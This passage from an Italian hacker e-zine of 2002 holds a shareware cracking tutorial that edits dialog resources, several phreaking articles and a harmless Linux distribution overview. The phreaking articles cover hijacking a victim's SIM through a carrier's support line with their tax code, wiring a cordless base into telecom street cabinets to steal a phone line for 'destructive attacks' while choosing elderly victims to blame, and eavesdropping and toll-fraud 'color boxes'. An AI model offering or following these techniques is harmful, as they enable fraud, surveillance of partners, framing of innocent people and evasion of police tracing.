SUBLANG_ENGLISH_US FONT 8, "MS Sans Serif" { CONTROL "", 1110, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP, 105, 85, 93, 12 CONTROL "", 1131, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP, 105, 100, 93, 12 CONTROL "Fucked by e4m", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_DISABLED | WS_GROUP | WS_TABSTOP, 5, 130, 88, 14 CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_GROUP | WS_TABSTOP, 118, 130, 88, 14 CONTROL "HighGrow Registration", 500, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 15, 12, 182, 17 CONTROL "Shareware Version 1.1", 1017, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 38, 115, 11 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 201, 118 CONTROL "This version of HighGrow can be registered now by entering your unique code.", -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 59, 164, 19 CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 175, 35, 21, 20 CONTROL "Registration Code:", 1018, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 85, 85, 12 CONTROL "Enter your Name:", 1019, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 101, 84, 12 } no... NON E' FINITA!!! ABBIAMO ANKE il grafiko.... non c interessa seno' questo testo lo facciamo (6km) ... xke proprio 6??? bho!!! giocatevelo!! PASSIAMO A warnig sharewareeeeee : WARNING DIALOGEX 0, 0, 387, 224 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "Shareware Warning" LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US FONT 8, "MS Sans Serif" { CONTROL "&Continue Unregistered", 1, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 262, 206, 120, 15 CONTROL "Registration &Details..", 1069, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 5, 206, 120, 15 CONTROL "&Registration Code Entry..", 1070, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 134, 206, 120, 15 CONTROL "Shareware Plant Termination Warning", 500, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 5, 377, 17 CONTROL "", 1116, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 133, 44, 120, 106 CONTROL "", 1115, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 5, 44, 120, 106 CONTROL "", 1111, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 262, 44, 120, 106 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 155, 120, 46 CONTROL "%s\n has %i days\nremaining", 1129, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 11, 161, 108, 35 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 133, 155, 120, 46 CONTROL "%s\n has %i days\nremaining", 1130, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 139, 161, 108, 35 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 262, 156, 120, 46 CONTROL "%s\n has %i days\nremaining", 1131, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 267, 161, 108, 35 CONTROL "All unregistered plants will die after one hundred days of growth !!", 1132, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 28, 377, 13 } modifikiamo quui e lli... uuhm... ke ideaaaaaa!! disabilitiamo tutta la finestra cosi' sto bastardo nn verra ad uccidere la nostra marija... WARNING DIALOGEX 0, 0, 387, 224 STYLE WS_POPUP EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "Fucked by e4m" LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL FONT 8, "MS SANS SERIF" { CONTROL "Shareware Plant Termination Warning", 500, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 5, 377, 17 CONTROL "", 1116, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 133, 44, 120, 106 CONTROL "", 1115, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 5, 44, 120, 106 CONTROL "", 1111, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 262, 44, 120, 106 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 155, 120, 46 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 133, 155, 120, 46 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 262, 156, 120, 46 CONTROL "All unregistered plants will die after one hundred days of growth !!", 1132, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 5, 28, 377, 13 CONTROL "MARJUANA LIBERA BY E4M", 0, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 142, 209, 103, 12 } eD INFINE il Tokko da reverser : 1 VERSIONINFO FILEVERSION 1,1,0,0 PRODUCTVERSION 1,1,0,0 FILEOS 0x4 FILETYPE 0x1 { BLOCK "StringFileInfo" { BLOCK "040904e4" { VALUE "CompanyName", "e4m software" VALUE "FileDescription", "HighGrow - Grow your own Legal Marijuana (si,ma ora e' veramente libera !!)" VALUE "FileVersion", "1.1" VALUE "InternalName", "HighGrow" VALUE "LegalCopyright", " NO Copyright - E4M " VALUE "LegalTrademarks", "Slick Software is dedicated to creating fun FREEWARE :/ software" VALUE "OriginalFilename", "HighGrow" VALUE "ProductName", "HighGrow" VALUE "ProductVersion", "1.1" } } BLOCK "VarFileInfo" { VALUE "Translation", 0x0409 0x04E4 } } Il code e' lungo se lo volete mailatemi.. PER LA PATCH .EXE CONTATTAMI LA SPEDISCO :) bYZ bYZ .. tezkatlipoka@libero.it www.bfc.too.it su azzurra #bfc fINE ;) BY e4m ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| P H R E A K I N G |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ |-------------------------------------| |Art. N° <9> : "Sim Card" di Black-Cap| |-------------------------------------| *****************************************++++++++++++++++++++++++++++++++++++| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§| Disclaimer: | Vieto a chiunque legga tale testo di effettuare tutto cio' che scritto; tutto| cio' è stato fatto unicamente per approfondire le mie conoscenze e | non per causare qualsiasi danno a terzi | *****************************************++++++++++++++++++++++++++++++++++++| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§| 07/02/2002 23:30:00 Testo di Black-Cap Coof coof, maledetta influenza! cmq, vi riscrivo per raccontarvi un fatto veramente carino (ma estremamente pericoloso) che dimostra quanto basta per fregare il povero cristo di turno. un po' di tempo fa ho perso il mio cellulare(ghghghghghghghghghghghghghghgh) e mi venne in mente un lampo di genio: recuperare la sim card. Telefonai al servizio assistenza utonti wind e mi dissero che era possibile.. vi riporto la simpatica conversazione "ciao tesoro come va?sai che ti amo?" ehm, non è questa... "Buongiorno assistenza clienti wind" "Buongiorno. Senta, la mia sim si è deteriorata cadendo nell acqua(dissi deteriorata perche se dici che l hai persa ti fanno pagare); ci sarebbe il modo per recuperare il mio numero?" "Certo.si puo' attivare una carta di sostituzione wind. Mi servono i dati dell intestatario del telefono" "ok" "lei è l intestatario?" "si"(si come no:)" "allora mi serve il suo codice fiscale" "ok;il codice è......" "Bene. adesso lei si deve recare nel più vicino negozio abilitato wind e deve chiedere una carta di sostituzione con il codice ***"(il codice è composto da due lettere,la provincia, e due numeri) "La ringrazio.Buongiorno" Avete capito?è bastato un semplice codice fiscale!ma è possibile che la mia sim sia protetta da un codice che tutti si possono fare oggi come oggi?non c'è nessuna password,frase segreta, numero del cazzo che me la protegge???eppure è cosi'. Tutto questo vale anche se chiamate per bloccare la sim. Dite che vi è stata rubata, date il codice dell intestatario e puff, la carta è bloccata. Poi, non ho mai provato, ma se io chiamassi dicendo che sono l intestatario e che voglio controllore le ultime dieci chiamate partite dalla sim?chissà. Secondo me lo potrei fare. Pensate ad una cosa: date spazio alla fantasia. Come ci si puo' divertire con questo semplice "bug" nel servizio delle sim? beh, inanzitutto si possono scoprire le ultime chiamate di quel numero (e quindi monitorare tutto dell nemico o della ragazza), per poi passare alle cattiverie, come per esempio bloccare la sim del povero cristo di turno... non è una bella cosa? non tanto. Anche se una volta bloccata la sim puo' essere riattivata, perchè deve passare dei cazzi per uno stronzo qualsiasi? perchè non ci puo' essere più sicurezza?forse perchè il 98 per cento degli utonti avrebbe perso la sua pass... bah che schifo. Cmq passiamo alla parte cattiva della mia idea. E cioè, rubare la sim. Allora, dopo aver chiesto il codice della carta, andate ad un negozio wind, possibilmente travestiti, e chiedete la sim. Magari portatevi dietro la fotocopia del codice fiscale (e come direte voi?bene:molti dei prog che creano codici fiscali danno anche il tesserino:voi lo copiate e lo stampate in bianco e nero, ed ecco la fotocopia,che vale come l originale). Usate un po' di ingegno e siccome il negoziante ha da fare non ci penserà tanto su e vi darà la scheda. A quel punto che succede?che ve ne fate?beh, potreste mettervela nel cell e scroccare un po' di chiamate, ma io vi consiglio di gettarla via.... perchè? presto detto. Appena ottenuta la carta di ricambio penso che l altra scheda si disattivi(almeno spero, ma se non è cosi goderei davvero) il disgraziato non potra' più chiamare, chiamera l assistenza e... 1)controllano le chiamate al centro assistenza (si puo' evitare con una cabina) 2)probabilmente controlleranno le nuove schede attivate e facendo due+due arriveranno al negozio dove avete scambiato la scheda (evitabile col travestimento, ma improbabile che sia fatto) 3)se vi è venuta la balazana idea di usare la scheda col vostro cell, tramite i tabulati vi rintracciano con un errore di pochi metri, vengano a caa vostra e vi regalano due braccialetti d argento... Percio' è meglio lasciar perdere...poi fate voi... Cmq penso che riuscire a scoprire le ultime chiamate di un numero non sarebbe male, potreste controllare la vostra ragazza, il vostro nemico... ma è giusto tutto cio???? non credo. Finche lo fa la pula, puo' anche passare. Ma il primo stronzo che capita no... Vabbè va, ciao raga, è tutto UN SALUTO A: Tutta la mia crew, Lord Vicio(scusa se ti stresso:=),Freud,Nemesi e un saluto speciale a Matrix(come va amico?) ,Elektro Bye Black-Cap ^^Sapere è Potere^^ |---------------------------------------------| |Art. N° <10> : "Hard Line" di ¶HeLLz¥AnGÆL°¹®| |---------------------------------------------| Autore: <¶HeLLz¥AnGÆL°¹®> Rubrica: Titolo: Mail: Web: Data: <01.02.2002> ---------------------------------------------- :::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::HARD LINE:::::::::::::::::::: Dove finisce l'idiozia e comincia il diabolico ---------------------------------------------- Bene bene... eccomi qui a scrivere un articoletto per il caro amico elektro... Premetto fin da subito che non ho tempo per rispondere a nessuno! quindi non mailatemi! DISCLAIMER: Quanto riportato è tutto molto illegale e non vi conviene assolutamente applicare queste info, l'autore e chi ne ridistribuisce gli articoli non si assumono alcuna responsabilità sulla condotta dei lettori. Il tutto è ovviamente riportato a scopo divulagativo e per sola conoscenza tecnica. PREMESSA: Non descriverò le HARD LINE in maniera minuziosa perchè spero che a nessuno venga in mente di fare le cose che ho scritto... ma se proprio ha intenzione di farlo spero almeno che abbia le conoscenze tecniche e vandalistiche per farlo... non è quindi mia intenzione rendere un servizio a dei lamer... fornisco solo un trucco... un idea... nulla di + Sono un professionista del settore informatico... non sono ne un Hacker e ne un Phreaker, ma quanto leggerete è solo un piccolo trucco che potrei adottare nel caso ne avessi bisogno. Non aspettatevi di leggere un articolo in stile simpatico perchè non c'è niente da ridere, io non rido mai! Sono così palloso che non vuole vedermi neanche la mia ragazza. Quindi riallacciatevi le mascelle e riprendete un esperessione seria... No!!!! Non quella! ho detto seria! Ok Così va bene... possiamo andare avanti. ;) COMINCIAMO: Tutto è nato quando un bel giorno passando sotto casa mia ho notato che qualcuno aveva manomesso il centralone delle linee telecom che concentra il complesso di condominii della mia strada... (Lo riconoscete facilmente perchè è grande come un armadio ed è di colore grigio). Stessa cosa hanno fatto con la centralina del mio condominio, (che generalmente la potete trovare all'interno del vostro portone...) e stessa cosa hanno fatto al punto luce posto all'esterno della porta di casa mia... (quella sapete già dove potete trovarla...). In pratica qualcuno le ha aperte senza forzarle, per guardare chissà cosa e le ha lasciate aperte... ummm tutto questo è molto strano pensai... Forse qualcuno ha voluto vedere se mi sono ponticellato da qualche parte per scroccare le telefonate? O forse per controllare che la mia linea non sia stata ponticellata per poter ascoltare e sniffare tutto quello che dico o passa nelle mie connessioni? Di sicuro non erano esperimenti di qualcuno altrimenti non sarebbe arrivato fino alla porta di casa mia... grrrrrrrrr Vi garantisco che questa cosa vi fa sentire a un passo dal gabbio... A questo punto leggendo qualche articoletto attinenete allo scrocco di telefonate e ricordandomi di MATRIX ho chiamato questo sistema HARD LINE adottando un paio di trucchi molto simpatici per evitare spiacevoli conseguenze... ANDIAMO AL DUNQUE: Se aprite uno di quegli armadi potete metterci all'interno una base cordless (e se non sapete cos'è lasciate perdere questo aricolo), il tutto è molto semplice perchè in queste centrali,(come ben sapete), c'è anche un cavo di alimentazione per alimentare il pannellone, o per alimentare qualche amplificatore di segnale qualora la linea arrivi disturbata dagli appartamenti. Il gioco è semplice... state a sentire... la base cordless prende una alimentazione generica dall'armadio sufficente a funzionare... ponticellate il line-in del cordless al pannellone e fate la conta per chi paga al posto vostro... il telefono lo portate via e richiudete il tutto. Ovviamente non sto di certo a dire di farlo di notte e di stare attenti a non essere beccati... Di fondamentale importanza è di non rompre vistosamente la serratura ma di procurarvi in qualche modo le chiavi o di bucarla in maniera che possiate richiuderla perfettamente quando avrete finito... Il trucco sta proprio in questo... più lavorerete pulito e più sarete certi che questo lavoro vi potrà tornare utile un giorno! A questo punto vi consiglio prima di effettuare tali operazioni di andare ad acquistare i cordless + merdosi che potete, o cmq di quelli che potete impostare la frequenza a mano. Per fare una prova ne ho usato uno un pò cessosetto, ma si è prestato bene allo scopo. Ovviamente quando mi sono deciso ad utilizzare il tutto non ho usato un cordless ma mi sono costruito il tutto in maniera aDOC e prossimamente passerò ad elektro il link dove scaricare il progettino. Più centrali manometterete e + sarete certi che quando ne avrete bisogno avrete una base sicura dalla quale collegarvi, questo perchè i tecnici quando fanno manutenzione toglieranno il vostro cordless non appena lo troveranno... se invece fate dei circuitini piccoli come ho fatto io, potete nasconderli nelle matasse dei fili pettinati... di solito non li smucinano mai... Dopo di che vi serve un portatile un modem PCMCA e una macchina per spostarvi quando ne avrete bisogno. Un ultmima attenzione particolare!! dovete farla! Le trasimissioni di questo tipo si possono triangolare con una facilità estrema.. quindi avete poco tempo per fare quello che dovete fare... o avrete in men che non si dica il fiato di qualcuno sul collo mentre siete intenti a fare le vostre cose... reso l'idea? per tanto vi consiglio un ulteriore accorgimento: Fatelo solo di notte. Staccate le targhe... (portatele con voi in macchina e se vi fermano gli dite che le avete staccate perchè qualcuno vi aveva fatto uno scherzo e le aveva lasciate a penzoloni... vi fanno solo una multa...). ==NON coprite le targhe e non modificatele in alcun modo!!! sarete denunciati!!== State in macchina. Se potete non stateci + di 7 minuti, (non ci mettono ne di meno e ne di + ad arrivare...). Dopo avere finito allontanatevi subito ma molto lentamente. Usate questa connessione non per navigare a sbafo ma solo per attacchi seri e molto distruttivi. Se potete monitorare la vostra vittima accertatevi prima di allacciarvi che sia una persona anziana... in questo modo potrà dimostare al giudice la sua innocenza. -------------------------------VARIANTE------------------------------- Potrete facilemnte acquistare una scheda GSM usata e un telefono rubato per queste cose... Ma non andrete particolarmente veloci... perchè la connessione tipica è 9600 o 14400 se usate doppia linea FULL DUPLEX... In pratica un fax generico è + veloce di voi!!! NON PROVATE LA SCHEDA SUL VOSTRO TELEFONO!!! Se il venditore ne possiede uno provatela da quello... altrimenti lasciate perdere e comprate altrove o il seriale della scheda risulterà abbinato al codice IMEI del vostro telefono. Ovviamente dovete abilitare il servizio di trasmissione dati e qui dovete fare del social per non destare sospetti al centro servizi... quindi fatevi dare i dati essenziali dal venditore. Questo sistema per sessioni telnet orbitanti intorno ad una cella di collegamento dovrebbe essere + che sufficente... attenti che se uscite dalla cella perdete velocità durante il collegamento e potrebbe cadere la linea... Per l'acquisto del telefono cellulare vi consiglio innanzitutto un NOKIA, così potrete provare il range massimo di allontanamento dalla cella e saprete quanto potrete muovervi mentre fate le vostre cose. Se lo acquistate in strada... di mettere dentro SOLO la scheda che avete comprato appositamente per questa cosa... ma prima spegnete e staccate la batteria al vostro telefono, se funziona infilatevelo in tasca e pagate senza fare in modo che il venditore possa in qualche modo riprenderlo in mano... altrimenti, come per magia, si tramuterà in un telefono di legno... e poi ve lo date in faccia!! Per provare il telefono durante l'acquisto telefonate al numero che userete per la connessione internet MAI ad un vostro amico o fidanzata!!! MAI! Questo perchè è facilmente loggabile sia il codice IMEI quando ci si allaccia al ponte che il seriale della scheda... Se dopo un paio di volte risulteranno attivi nella stessa cella i due telefoni chi pensiate possa essere incriminato? In + se chiamate da un telefono rubato con scheda farlocca un vostro amico, non ci metterà molto a vendervi al costo del suo Kulo... :( Un ultimo accorgimento: Kevin Meetnick è stato arrestato mentre navigava in questo modo. Lo stava facendo da casa sua... Senz'altro è stato un hacker molto abile... ma voi cercate di essere + italiani e usate un automobile in movimento ok? ;) -----------------------------FINE VARIANTE---------------------------- Finisco questo articolo esortandovi ad utilizzare sulle HARD LINE un abbonamento fittizio realizzato da un cyberpub o da una postazione universitaria. Se chiamate qualcuno per parlarci a voce... chiamte SOLO una altra HARD LINE. Se volete passarvi dei dati con dei vostri amici potete ulteriormente giocare di fino avvalendovi di uno di quei numeri verdi che servono alle registrazioni... tipo tin, libero etc... Poichè la caratteristica del numero verde è che non pagate nulla e quindi le vostre vittime non si accorgeranno di quello che state facendo con il loro telefono... Mentre sarete collegati a quel green sarete a tutti gli effetti collegati in una rete e vi sarà assegnato un indirizzo IP... stessa cosa se lo fa un vostro amico contemporaneamente! Perciò comunicandovi i vostri IP potrete chattare... scambiarvi i file o semplicemente giocare in rete con quei giochini tipo unreal etc.. etc.. (se fate questo siete proprio dei lamer). :( Ovviamente non potrete accedere ad internet... ma per i vostri scopi questo potrebbe essere + che sufficente... hehehehe :) This is the game ;) Ciao e buona fortuna. ¶HeLLz¥AnGÆL°¹® |-----------------------------------------| |Art. N° <11> : "The Color Box" di Vampire| |-----------------------------------------| _-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_ Title:The Color Box Di: [Vampire] --> net-vampire.too.it <-- Data: 20/02/02 ¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯ Bene ragazzi, questa è la mia prima guida, speriamo che non sia anche l'ultima però! Parlerò delle color box telefoniche; per chi non sapesse cos'è una color box telefonica legga bene questa prima parte. Who, Why and What: Le color box sono state uno dei primi metodi utilizzati dai Phone Phreak per sfruttare a loro piacimento le linee telifoniche. Reindirizzare le chiamate, effettuare chiamate gratuite emettendo determinati segnali o danneggiare il sistema telefonico sono solo alcune funzioni di questi dispositivi che però in questi ultimi tempi vengono sostituiti, grazie anche all'uso di pc portatili, da programmi appositi; per esempio per i Palm esiste un programma chiamato RedPilot, che emula una red box (vedi dopo) mentre una crew di hacker, la TeamKNOx, ha fatto un programma che (PhreakBoy) che riproduce le red e la blu box anche su un semplice Game Boy (in internet si trova il sorgente in C). Aqua box: Dopo la piccola introduzione eccoci alla prima color box, l' Aqua Box. Questa box è stata escogitata per evitare di essere rintracciati dalle autorità tramite la tecnica del Lock-in-Trace che consente di rintracciare le chiamate in questo modo: quando si effettua una chiamata la linea è tenuta "aperta" dalla corrente e,quando si riattacca, la corrente non passa più, la tecnica del Lock-in-Trace permette di attaccarsi alla conversazione in modo che diventi a tre (io, te e l'FBI) e, anche se si riaggancia, l'elettricità continua a passare permettendo di rintracciare la chiamata.L'Aqua box mantiene un voltaggio particolare durante la chiamata, il quale impedisce al dispositivo Lock-in-Trace di agganciarsi alla telefonata (a volte accade che quel tipo di voltaggio mandi in corto il lock-in-trace) e quindi una volta che si riaggancia si è sicuri di non essere individuati. Beige box: La beige box è come la password di root sotto un unix, permette infatti di avere a disposizione tutti gli strumenti di un operatore di linea della compagnia. Per sfruttare una Beige box basta trovare una di quelle scatole grigie dove c'è scritto Telecom (o, comunque, il nome di una compagnia telefonica) e aprirla, collegando la propria box a questa scatole vi potrete attaccare alla linea del vostro vicino, per esempio, e ascoltare cosa dice oppure chiamare per molto tempo e far addebitare tutto al proprietario delle linea a qui vi siete attaccati. Black box: Il funzionamento di questa box l'ho letto su un articolo di molto tempo fa, e non credo che le linee telefoniche mantengano ancora le stesse impostazioni, vi spiegherò comunque il suo funzionamento. Prima di capire cos'è una black box vi spiego un po' come funzione un linea telefonica durante una telefonata, in una linea nella quale non si effettuano chiamate il voltaggio è pari a 0, nel momento in cui riceve una chiamata il voltaggio si alza a 48volt e, quando si risponde, il voltaggio scende di nuovo per arrivare fino a 10volt permettendo quindi alla compagnia telefonica di inziare a contare il tempo della telefonata e quindi di farvi pagare. Una black box influisce sul voltaggio della linea mantenendolo fisso a 36volt impedendgli di scendere quando si risponde, evitando così che la compagnia si accorga che deve inziare a contare la durata della chiamata. Red box: Prima, quando parlavo dei Palm e dei Game Boy, vi avevo accennato di questa color box, adesso vi spiegherò con precisione il suo funzionamento. Nelle vecchie cabine a moneta quando si inserivano gli spiccioli veniva generato un impulso il quale apriva la linea e permetteva di chiamare. Una red box non fa altro che generare gli stessi impulsi i quali, attraveso il microfono della cornetta, permettono di aprire la linea e di chiamare poichè il sitema li riconosce come l'inserimento di una moneta. Ogni moneta ha un impulso particolare e diverso da quello emesso dall'inserimenti di monete di altro tipo. Crismon box: Questo dispositivo mette semplicemente in attesa qualcuno in modo da poterlo ascoltare senza essere notati. Questo espediente potreste utilizzarlo per ascoltare cosa dice vostra sorella più grande al suo moroso. Lunch box: Questa box, una volta collegata a un normale telefono a pagamento (cabina), la trasformerà in una trasmittente permettendo quindi di intercettare da una distanza di sicurezza le chiamate di altre persone. Ultime righe: Volevo farvi presente solo che quello che ho scritto è frutto di varie letture che ho trovato in internet quindi non è tutto merito mio. Volevo dirvi un'altra cosa: non sono certo che queste tecniche funzionino ancora visto che risalgono a un bel po' di tempo fa', per esempio è difficile usare una red box quì in italia visto che non si trovano quasi più telefoni a monete. _-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_ E per questa volta è finita, se avete ancora dei dubbi potete contattarmi a: the-vampire@libero.it oppure potrete trovarmi su irc, sul server di azzurra (irc.azzurra.net). Ciauzz a tutti e alla prossima! ! ! ¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯ ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| L I N U X |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ |----------------------------------| |Art. N° <12> : "Distro" di Elektro| |----------------------------------| DISTRO ------ By Elektro Rieccomi qui, con il nostro appuntamento, a parlare di linux e qui, più specificatamente, delle varie distro (= distribuzioni) che offre un OS come quello di linux. Troppe volte ho sentito chiedere in chat la classica domanda del Newbie: "Ehi, tu che distro mi consigli?". E gli altri se ne stavano zitti o lo mandavano a quel paese... Ma è lamah avere una distribuzione, un bel manuale su Linux e chiedere come compilare un sorgente, non chiedere un semplice parere, come quello che può essere la scelta di una distribuzione! O almeno questo è quello che credo io. Distribuzioni? Ma che differenze ci sono? Non si tratta sempre di linux? Ebbene si. Ma allora qual è la differenza tra una distro e l'altra? La risposta sta' nel fatto che tutte le distribuzioni di linux si basano su un kernel (= il cuore del sistema operativo) comune reperibile su www.kernel.org ma non hanno gli stessi software. Ad esempio la SuSE (dalla quale sto scrivendo) offre maggiore software alla configurazione di una rete rispetto a un'altra distro come Mandrake, più orientata all'uso 'casalingo'. Comunque in genere, chiunque sa usare una qualsiasi distribuzione, non dovrebbe avere troppi problemi quando si affiderà ad un'altra. Qui di seguito vi parlerò delle principali distro di linux, sperando che così possiate capire quella che maggiormente fa al caso vostro. - Mandrake - www.linux-mandrake.com E' nata sulla base di Red Hat e ha cercato fin da subito di distinguersi fin da subito per la facilità d'uso e di configurazione, per la quale è molto nota ed usata oggi. Col tempo è diventata sempre più autonoma attraverso lo sviluppo di tools di configurazione propri e propone la soluzione per rendere linux sempre più alla portata di tutti. Oggi 'gareggia' con i marchi più blasonati (vedi Red Hat o SuSE). L'installazione è facile come l'uso dell'intera distro; consigliata per chi vuole passare per la prima volta a linux. In compenso, è poco adatta ad un uso professionale. - Red Hat - www.redhat.com E' una delle distribuzioni storiche del panorama di linux, considerata, almeno fino a qualche anno fa, la distribuzione più facile da usare, anche se oggi non è più così. E' affidabile e potente ma oggi il suo punto di forza non è più la semplicità. E' maggiormente orientata ad un uso professionale. Attualmente, la Red Hat è sprovvista di un utility di configurazione del sistema, anche se esso, sarebbe utile, molto probabilmente, solo a un utente domestico, non tanto (o almeno si spera ;-)) ad un sysadmin. - SuSE - www.suse.com La distro dalla quale sto scrivendo. Serve dire altro? ;-) A parte le cazzate, SuSE è nata in Germania nel '93. L'installazione è semplice, come del resto l'uso. Personalmente l'ho scelta perchè è una distro semplice da installare (ma ora che c'ho preso mano vorrei provare la mitica Slack ;D) e da usare ma allo stesso tempo è anche adatta ad un uso professionale. Esistono molti tools grafici per la configurazione del sistema e a mio avviso la documentazione e il software è ricco e abbondante. Diciamo semplicemente che non mi posso lamentare. ;-) - Slackware - www.slackware.com La Slackware (o Slack), viene definita la 'madre di tutte le distribuzioni'. E' una delle distro 'classiche' ed è tradizionalmente una delle più stabili e mature. E' sicuramente una distro non adatta ai Newbies ed ha mantenuto un 'aspetto spartano' tanto caro agli amministratori di sistema e agli smanettoni, anche se, ovviamente, d'altra parte, non ha attirato tutti i nuovi potenziali utenti linux, attirati dagli strumenti grafici inclusi nelle altre distro. Nonostante la difficoltà del suo uso, rimane una distro che 'affascina' proprio per la sua difficoltà e costrinzione a configurare 'a mano' la maggior parte del sistema operativo, imparando così molte più cose. - Debian - www.debian.org Fedele al 100% alla filosofia Gnu, Debian si rivela come una delle migliori distro offerte dal mercato. Il progetto Debian, portato avanti da più di 500 volontari, è l'unico a essere completamente free e ha come scopo quello di creare il miglior sistema operativo esistente; a parte l'obiettivo, forse, un po' utopistico, Debian si basa sul kernel sviluppato da Linus Torvalds, anche se in realtà si spera di poter andare oltre e creare altri kernel specifici. L'installazione non è tra le più semplici e il software è un po' datato, anche se, come già detto, la Debian rimane una tra le migliori distro disponibili. - Corel Linux - www.linux-corel.com Nata per la produzione di importanti software dedicati alla grafica, è una distro orientata al semplice utente che non ha voglia e/o interesse ad approfondire un nuovo sistema operativo. E' perciò semplice da installare e configurare ma non adatta ad un uso professionale. - Caldera OpenLinux eDesktop - www.caldera.com Caldera propone diverse versioni di linux, alcune specificamente realizzate per server di rete e altre per sviluppatori. Tra queste la più classica è la OpenLinux eDesktop, che si distingue nella semplicità ed è progettata per PC di chi non ha particolari pretese. L'installazione è semplice, in particolare per quanto riguarda il riconoscimento dei componenti hardware: il tutto è gestito da tools grafici. Inoltre, i principali tools di configurazione sono già 